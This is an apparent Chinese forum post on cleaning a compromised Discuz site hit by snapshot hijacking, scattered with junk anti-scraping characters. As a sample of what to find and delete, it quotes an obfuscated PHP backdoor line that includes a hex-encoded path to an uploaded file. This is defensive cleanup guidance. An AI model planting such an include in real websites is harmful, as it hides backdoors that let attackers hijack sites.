若存在，处理前，先卸载所有盗版插件与模版。5 a# H; P. @" ]$ b1 g. H0 \6 O8 ?! W
4 Q$ c4 a' {8 R7 A/ m# N 进discuz后台找到工具-文件校验，看下最近有哪些php文件被修改了。; [9 a0 O. r1 t" \, O
/ `. f8 ~% |' \3 e
1、排查网站源文件的php 文件，查看是否有出现IP地址、或者异常网站（上面跳转的网站），如果有删除就可以了。
6 f2 \# {" p5 d( V& B) ]% M5 @' V$ d0 { {, a: u; l0 \$ m: ~7 `. x
2、排查网站源文件的php 文件，查看是否有如下代码：@include($_SERVER['DOCUMENT_ROOT']
0 e% `7 \7 B/ N, \' _6 q( S5 w+ ^) y$ _/ }( R
（排查一般用WEBshell后门扫描软件扫描核查！）
3 ]4 C2 z6 \: }# R* N: L8 r2 m; I6 W' B- }: t7 R( h6 I$ B
如果有就删除此段代码。并把该段代码进行解密。
" [) Q1 ]7 G' x& x# N! F, q& g" e& x0 {* X
举例：@include($_SERVER['DOCUMENT_ROOT'].PACK('H*','2F646174612F6176617461722F30'));
* ?- R. P2 f. w" v1 Q
8 B! O0 K5 ?$ r8 x2 l2 K需要解密的代码为：2F646174612F6176617461722F30
0 D# ^6 v. Y2 R4 v# y$ y: v% X; M; u) g3 D2 F& A1 n
解密后为：/data/avatar/0% a" E& b1 \2 C6 \/ @9 T4 e4 l- I! o
: U% p) s- ]: r! C% a
代码解密地址：http://www.bejson.com/convert/ox2str/& X. T7 f& \/ k+ @& i5 w
! F, ^! ?/ n* {: ]. d7 e% R0 s
9 O$ |$ G+ q- O( p: [* D, `
意思就是在上述路径下存在被非法上传的文件，用于做快照劫持。
' a4 F. j$ J1 }# H! {: A/ H; H: i0 v
/ D- M" g. i* N, j 解决办法：删除上面的代码和文件即可。0 L3 _5 {( n4 ?/ k* E% J( \
) B& l5 n3 _( P( W
挂马问题解决了后，记得更改服务器相关的各种密码，尽量设置的复杂一点。
/ D3 r) z1 |( B8 \0 l* m* k |
楼主